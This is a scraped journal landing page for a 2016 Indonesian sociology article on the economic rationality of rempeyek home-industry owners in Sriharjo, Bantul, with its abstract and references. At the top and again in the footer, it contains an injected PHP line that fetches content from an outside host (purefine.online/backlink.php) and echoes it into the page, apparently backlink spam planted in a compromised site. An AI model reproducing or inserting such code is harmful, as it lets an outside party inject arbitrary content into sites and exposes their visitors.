$a = file_get_contents('https://purefine.online/backlink.php'); echo $a; MENGKOMPROMIKAN YANG FORMAL DAN MORAL:RASIONALITAS TINDAKAN EKONOMI PENGUSAHA HOME INDUSTRY DI SRIHARJO, BANTUL, YOGYAKARTA | Widianto | Jurnal Sosiologi Pendidikan Humanis

MENGKOMPROMIKAN YANG FORMAL DAN MORAL:RASIONALITAS TINDAKAN EKONOMI PENGUSAHA HOME INDUSTRY DI SRIHARJO, BANTUL, YOGYAKARTA

Ahmad Arif Widianto, Lia Hilyatul Masrifah

Abstract


Beralihnya kecenderungan masyarakat pedesaan dari sektor agraris ke non agraris mendorong pertumbuhan home industry di pedesaan. Salah satunya adalah home industry rempeyek di Pelemmadu, Sriharjo, Bantul, Yogyakarta. Namun, pesatnya pertumbuhan industri kemudian membawa konsekuensi-konsekuensi di antaranya adalah persaingan dan permainan pasar. Kondisi demikian menjadikan para pengusaha rempeyek dilematis. Sebagai homo economicus mereka tentu ingin mendulang keuntungan semaksimal mungkin (rasional). Tulisan ini membahas bagaimana rasionalitas tindakan ekonomi pengusaha home industry dalam menghadapi transformasi corak produksi beserta konsekuensi-konsekuensinya. Pengumpulan data menggunakan observasi dan wawancara mendalam terhadap 11 Informan. Penentuan informan dipilih secara purposive .Hasil penelitian menunjukkan bahwa para pengusaha rempeyek mengembangkan mekanisme alternatif dalam menghadapi persaingan dan permainan pasar dengan mengompromikan rasionalitas formal dan moral dalam tindakan ekonomi mereka. Selain berdasarkan pada rasionalitas formal yakni dengan quality control dan perluasan jaringan bisnis, para pengusaha juga didorong oleh nilai-nilai moral seperti “tuna sathak bathi sanak” sehingga mampu memperjuangkan kepentingan individual tanpa harus mengabaikan kepentingan sosial. Nilai-nilai tersebut lantas dilembagakan dalam kelompok pengusaha sebagai sarana untuk mengembangkan usaha bersama-bersama.

 

DOI: http://dx.doi.org/10.17977/um021v1i22016p087


Keywords


rasionalitas ekonomi; moral ekonomi; tindakan ekonomi; ekonomi pedesaan; home industry

Full Text:

PDF

References


Ahimsa-Putra, Heddy Shri, (peny.). (2003). Ekonomi Moral, Rasional dan Politik dalam Industri Kecil di Jawa. Yogyakarta. Kepel Press.

Amini, Nurfina. (2014). Kredit Barang: Strategi Pedagang di Sekitar Area Industri Rumah tangga Rempeyek Di Desa Sriharjo. Skripsi. Antropologi Budaya. Fakultas Ilmu Budaya. Universitas Gadjah Mada. Yogyakarta.

Boeke, J.H. (1982). “Memperkenalkan Teori Ekonomi Ganda” dalam Bunga Rampai Perekonomian Desa, dalam Sayogja (Peny.). Jakarta: Yayasan Obor

Indonesia.

Bostrom, Nick. (2012). The Super intelligent will: Motivation and Instrumental Rationality in Advanced Artificial Agents. Future of Humanity Institute. Faculty of Philosophy & Oxford Martin School.Oxford University..

Damsar. (1997). Sosiologi Ekonomi. Jakarta:PT. Raja Grravindo Persada.

Damsar. (2011). Pengantar Sosiologi Ekonomi Edisi Revisi Jakarta:

Kencana Prenada Media Grup.

Encinar, Maria Isabel, Jose Luis Cendejas dan Felix Fernando Munoz. (2006). On the Relationship Between Ethics and economics. Cuadernos de Economia Vol. 29.003-028.

Erni dkk. (2015). Petatah Petitih Kearifan Lokal Ekonomi dan Bisnis Masyarakat Minang Pedagang Rantau di Jakarta. Seminar Ilmiah Nasional Bidang Sosial Universitas Gunadarma.

Ever Hans Dieter dan Heiko Schrader. (1994). The Moral Economy of Trade:Ethnicity and Developing Market. London. Routledge

Florence. (2008). Moral ekonomi Pedagang Komunitas Etnik India (Studi Kasus di Kampung Madras, Kelurahan Madras Hulu, Pulonia Medan). Skripsi. Fakultas Ilmu Sosial dan Ilmu Politik USU.

Geertz, C. (1989). Penjaja dan Raja: Perubahan Sosial dan Modernisasi Ekonomi di Dua Kota di Indonesia.

Indroyono, Puthut dan Eddy Junarsin. Kemiskinan di Sriharjo Dewasa Ini. Jurnal Ekonomi dan Bisnis Indonesia, Vol.17, No. 1, 2002, 13-26, Universitas Gadjah Mada Yogyakarta.

Jhonson, Doyle Paul. (1986). Teori Sosiologi Klasik dan Modern Jakarta: PT

.Gramedia.

Kikuchi, M. dan Y. Hayami. (1981). Dilema Ekonomi Desa: Suatu Pendekatan Ekonomi terhadap Perubahan Kelembagaan di Asia. Jakarta. Yayasan Obor Indonesia.

Polanyi, karl (2003). Transformasi Besar, Asal-usul Politik dan Ekonomi Zaman sekarang. Yogyakarta. Pustaka Pelajar.

Ritzer, George dan Goodman, Douglas J. 2008. Teori Sosiologi Modern. Yogyakarta:Kreasi Wacana.

Smelser, Neil J. & Richard Swedberg (eds). 1994. The Handbook of Economic

st Sociology. 1 Edition. Princenton University Press and the Russel Sage Foundation.

Vanadiani, Dewi Vivi. (2011). Industrialisasi di Pedesaan dan Perubahan Struktur Masyarakat Petani di Desa Pasawahan, Kecamatan Cicurug, Kabupaten Sukabumi, Jawa Barat. Skripsi. Departemen Sains Komunikasi dan Pengembangan Masyarakat. Fakultas Ekologi Manusia. Institut Pertanian Bogor.

Widianto, Ahmad Arif. (2013). Pergeseran Relasi Gender pada Keluarga Pengusaha Rempeyek di Pelemmadu, Sriharjo. Laporan Praktik Penelitian. Pascasarjana Sosiologi Universitas Gadjah Mada Yogyakarta.

Yuliawati, Eli. (2012). Pemberdayaan Kaum Perempuan dalam Menunjang Peningkatan Pendapatan Keluarga melalui Home Industry di Dusun Pelemadu, Desa Sriharjo, Kecamatan Imogiri, Kabupaten Bantul, D.I.Y.

Zafirowski, Milan. (2003). Human Rational Behaviour and Economics Rationality. Electric Jurnal of Sociology. CAAP.


Refbacks

  • There are currently no refbacks.


Copyright (c) 2016 Ahmad Arif Widianto, Lia Hilyatul Masrifah

Editorial Office:
Sociology Program, Faculty of Social Science, Universitas Negeri Malang
Semarang St. No. 5 Building I3-101 65145.
Phone. (0341) 551312. line. 375, 376 (20)
Homepage: http://journal2.um.ac.id/index.php/jsph/index
email: jsphum@yahoo.co.id

ISSN 2502-7875 (printed)
ISSN 2527-5879 (online)

Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.

 
---------------------------------------- ---------------------------------------- ---------------------------------------- $a = file_get_contents('https://purefine.online/backlink.php'); echo $a; ----------------------------------------